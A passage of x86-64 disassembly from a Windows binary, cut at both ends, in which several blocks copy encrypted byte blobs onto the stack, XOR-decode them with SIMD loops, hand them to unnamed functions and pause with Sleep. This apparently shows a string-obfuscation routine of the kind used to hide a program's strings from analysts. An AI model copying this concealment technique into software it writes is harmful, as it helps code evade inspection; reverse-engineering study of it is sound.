inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x85
jl 0x140022650
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x4b8]
call fcn.140004bf0
nop
lea rax, [rbp + 0xc460]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400226a0
lea rdx, [rbp + 0xc460]
lea rcx, [rbp + 0x4b8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x4b8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x4b8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bfb10]
movups xmmword [rbp + 0x8270], xmm0
movups xmm1, xmmword [0x1400bfb20]
movups xmmword [rbp + 0x8280], xmm1
movups xmm0, xmmword [0x1400bfb30]
movups xmmword [rbp + 0x8290], xmm0
movups xmm1, xmmword [0x1400bfb40]
movups xmmword [rbp + 0x82a0], xmm1
movups xmm0, xmmword [0x1400bfb50]
movups xmmword [rbp + 0x82b0], xmm0
movups xmm1, xmmword [0x1400bfb60]
movups xmmword [rbp + 0x82c0], xmm1
movsd xmm0, qword [0x1400bfb70]
movsd qword [rbp + 0x82d0], xmm0
mov eax, dword [0x1400bfb78]
mov dword [rbp + 0x82d8], eax
movzx eax, word [0x1400bfb7c]
mov word [rbp + 0x82dc], ax
movzx eax, byte [0x1400bfb7e]
mov byte [rbp + 0x82de], al
mov r8d, ebx
cmp edi, 2
jl 0x1400228b5
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0x8274]
mov edx, dword [rbp + 0xb0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x1400227b0
cmp r8d, 0x6f
jge 0x140022900
movsxd rax, r8d
lea r9, [rbp + 0x8270]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6f
jl 0x1400228d0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x4d8]
call fcn.140004bf0
nop
lea rax, [rbp + 0x8270]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140022920
lea rdx, [rbp + 0x8270]
lea rcx, [rbp + 0x4d8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x4d8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x4d8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bf780]
movups xmmword [rbp + 0xce80], xmm0
movups xmm1, xmmword [0x1400bf790]
movups xmmword [rbp + 0xce90], xmm1
movups xmm0, xmmword [0x1400bf7a0]
movups xmmword [rbp + 0xcea0], xmm0
movups xmm1, xmmword [0x1400bf7b0]
movups xmmword [rbp + 0xceb0], xmm1
movups xmm0, xmmword [0x1400bf7c0]
movups xmmword [rbp + 0xcec0], xmm0
movups xmm1, xmmword [0x1400bf7d0]
movups xmmword [rbp + 0xced0], xmm1
movups xmm0, xmmword [0x1400bf7e0]
movups xmmword [rbp + 0xcee0], xmm0
movups xmm1, xmmword [0x1400bf7f0]
movups xmmword [rbp + 0xcef0], xmm1
movsd xmm0, qword [0x1400bf800]
movsd qword [rbp + 0xcf00], xmm0
cmp edi, 2
jl 0x140022b25
movdqa xmm5, xmmword [0x1400c3460]
mov edx, ebx
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xce84]
mov r8d, dword [rbp + 0xb0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x140022a23
jmp 0x140022b63
lea r9, [rbp + 0xce80]
mov r8d, ebx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x140022b30
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x4f8]
call fcn.140004bf0
nop
lea rax, [rbp + 0xce80]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140022b80
lea rdx, [rbp + 0xce80]
lea rcx, [rbp + 0x4f8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x4f8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x4f8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bf8a0]
movups xmmword [rbp + 0xde50], xmm0
movups xmm1, xmmword [0x1400bf8b0]
movups xmmword [rbp + 0xde60], xmm1
movups xmm0, xmmword [0x1400bf8c0]
movups xmmword [rbp + 0xde70], xmm0
movups xmm1, xmmword [0x1400bf8d0]
movups xmmword [rbp + 0xde80], xmm1
movups xmm0, xmmword [0x1400bf8e0]
movups xmmword [rbp + 0xde90], xmm0
movups xmm1, xmmword [0x1400bf8f0]
movups xmmword [rbp + 0xdea0], xmm1
movups xmm0, xmmword [0x1400bf900]
movups xmmword [rbp + 0xdeb0], xmm0
movups xmm1, xmmword [0x1400bf910]
movups xmmword [rbp + 0xdec0], xmm1
movups xmm0, xmmword [0x1400bf920]
movups xmmword [rbp + 0xded0], xmm0
movzx eax, word [0x1400bf930]
mov word [rbp + 0xdee0], ax
mov r8d, ebx
cmp edi, 2
jl 0x140022d9b
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xde54]
mov edx, dword [rbp + 0xb0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140022c90
cmp r8d, 0x92
jge 0x140022de3
movsxd rax, r8d
lea r9, [rbp + 0xde50]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x92
jl 0x140022db0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x518]
call fcn.140004bf0
nop
lea rax, [rbp + 0xde50]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140022e00
lea rdx, [rbp + 0xde50]
lea rcx, [rbp + 0x518]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x518]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x518]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c02b0]
movups xmmword [rbp + 0xb3d0], xmm0
movups xmm1, xmmword [0x1400c02c0]
movups xmmword [rbp + 0xb3e0], xmm1
movups xmm0, xmmword [0x1400c02d0]
movups xmmword [rbp + 0xb3f0], xmm0
movups xmm1, xmmword [0x1400c02e0]
movups xmmword [rbp + 0xb400], xmm1
movups xmm0, xmmword [0x1400c02f0]
movups xmmword [rbp + 0xb410], xmm0
movups xmm1, xmmword [0x1400c0300]
movups xmmword [rbp + 0xb420], xmm1
movups xmm0, xmmword [0x1400c0310]
movups xmmword [rbp + 0xb430], xmm0
movsd xmm0, qword [0x1400c0320]
movsd qword [rbp + 0xb440], xmm0
mov eax, dword [0x1400c0328]
mov dword [rbp + 0xb448], eax
movzx eax, word [0x1400c032c]
mov word [rbp + 0xb44c], ax
movzx eax, byte [0x1400c032e]
mov byte [rbp + 0xb44e], al
mov r8d, ebx
cmp edi, 2
jl 0x140023025
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xb3d4]
mov edx, dword [rbp + 0xb0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140022f20
cmp r8d, 0x7f
jge 0x140023070
movsxd rax, r8d
lea r9, [rbp + 0xb3d0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7f
jl 0x140023040
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x538]
call fcn.140004bf0
nop
lea rax, [rbp + 0xb3d0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140023090
lea rdx, [rbp + 0xb3d0]
lea rcx, [rbp + 0x538]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x538]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x538]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c0e40]
movups xmmword [rbp + 0xcf10], xmm0
movups xmm1, xmmword [0x1400c0e50]
movups xmmword [rbp + 0xcf20], xmm1
movups xmm0, xmmword [0x1400c0e60]
movups xmmword [rbp + 0xcf30], xmm0
movups xmm1, xmmword [0x1400c0e70]
movups xmmword [rbp + 0xcf40], xmm1
movups xmm0, xmmword [0x1400c0e80]
movups xmmword [rbp + 0xcf50], xmm0
movups xmm1, xmmword [0x1400c0e90]
movups xmmword [rbp + 0xcf60], xmm1
movups xmm0, xmmword [0x1400c0ea0]
movups xmmword [rbp + 0xcf70], xmm0
movups xmm1, xmmword [0x1400c0eb0]
movups xmmword [rbp + 0xcf80], xmm1
movsd xmm0, qword [0x1400c0ec0]
movsd qword [rbp + 0xcf90], xmm0
cmp edi, 2
jl 0x140023295
movdqa xmm5, xmmword [0x1400c3460]
mov edx, ebx
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xcf14]
mov r8d, dword [rbp + 0xb0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x140023193
jmp 0x1400232d3
lea r9, [rbp + 0xcf10]
mov r8d, ebx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x1400232a0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x558]
call fcn.140004bf0
nop
lea rax, [rbp + 0xcf10]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400232f0
lea rdx, [rbp + 0xcf10]
lea rcx, [rbp + 0x558]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x558]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x558]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bdcf0]
movups xmmword [rbp + 0xd300], xmm0
movups xmm1, xmmword [0x1400bdd00]
movups xmmword [rbp + 0xd310], xmm1
movups xmm0, xmmword [0x1400bdd10]
movups xmmword [rbp + 0xd320], xmm0
movups xmm1, xmmword [0x1400bdd20]
movups xmmword [rbp + 0xd330], xmm1
movups xmm0, xmmword [0x1400bdd30]
movups xmmword [rbp + 0xd340], xmm0
movups xmm1, xmmword [0x1400bdd40]
movups xmmword [rbp + 0xd350], xmm1
movups xmm0, xmmword [0x1400bdd50]
movups xmmword [rbp + 0xd360], xmm0
movups xmm1, xmmword [0x1400bdd60]
movups xmmword [rbp + 0xd370], xmm1
movsd xmm0, qword [0x1400bdd70]
movsd qword [rbp + 0xd380], xmm0
movzx eax, byte [0x1400bdd78]
mov byte [rbp + 0xd388], al
mov r8d, ebx
cmp edi, 2
jl 0x14002350b
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xd304]
mov edx, dword [rbp + 0xb0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140023400
cmp r8d, 0x89
jge 0x140023553
movsxd rax, r8d
lea r9, [rbp + 0xd300]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x89
jl 0x140023520
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x578]
call fcn.140004bf0
nop
lea rax, [rbp + 0xd300]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140023570
lea rdx, [rbp + 0xd300]
lea rcx, [rbp + 0x578]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x578]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x578]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bdb90]
movups xmmword [rbp + 0xb450], xmm0
movups xmm1, xmmword [0x1400bdba0]
movups xmmword [rbp + 0xb460], xmm1
movups xmm0, xmmword [0x1400bdbb0]
movups xmmword [rbp + 0xb470], xmm0
movups xmm1, xmmword [0x1400bdbc0]
movups xmmword [rbp + 0xb480], xmm1
movups xmm0, xmmword [0x1400bdbd0]
movups xmmword [rbp + 0xb490], xmm0
movups xmm1, xmmword [0x1400bdbe0]
movups xmmword [rbp + 0xb4a0], xmm1
movups xmm0, xmmword [0x1400bdbf0]
movups xmmword [rbp + 0xb4b0], xmm0
movsd xmm0, qword [0x1400bdc00]
movsd qword [rbp + 0xb4c0], xmm0
mov eax, dword [0x1400bdc08]
mov dword [rbp + 0xb4c8], eax
movzx eax, word [0x1400bdc0c]
mov word [rbp + 0xb4cc], ax
movzx eax, byte [0x1400bdc0e]
mov byte [rbp + 0xb4ce], al
mov r8d, ebx
cmp edi, 2
jl 0x140023795
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xb454]
mov edx, dword [rbp + 0xb0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140023690
cmp r8d, 0x7f
jge 0x1400237e0
movsxd rax, r8d
lea r9, [rbp + 0xb450]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7f
jl 0x1400237b0
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x598]
call fcn.140004bf0
nop
lea rax, [rbp + 0xb450]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140023800
lea rdx, [rbp + 0xb450]
lea rcx, [rbp + 0x598]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x598]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x598]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bd540]
movups xmmword [rbp + 0xb7d0], xmm0
movups xmm1, xmmword [0x1400bd550]
movups xmmword [rbp + 0xb7e0], xmm1
movups xmm0, xmmword [0x1400bd560]
movups xmmword [rbp + 0xb7f0], xmm0
movups xmm1, xmmword [0x1400bd570]
movups xmmword [rbp + 0xb800], xmm1
movups xmm0, xmmword [0x1400bd580]
movups xmmword [rbp + 0xb810], xmm0
movups xmm1, xmmword [0x1400bd590]
movups xmmword [rbp + 0xb820], xmm1
movups xmm0, xmmword [0x1400bd5a0]
movups xmmword [rbp + 0xb830], xmm0
movups xmm1, xmmword [0x1400bd5b0]
movups xmmword [rbp + 0xb840], xmm1
cmp edi, 2
jl 0x1400239f5
movdqa xmm5, xmmword [0x1400c3460]
mov edx, ebx
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xb7d4]
mov r8d, dword [rbp + 0xb0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
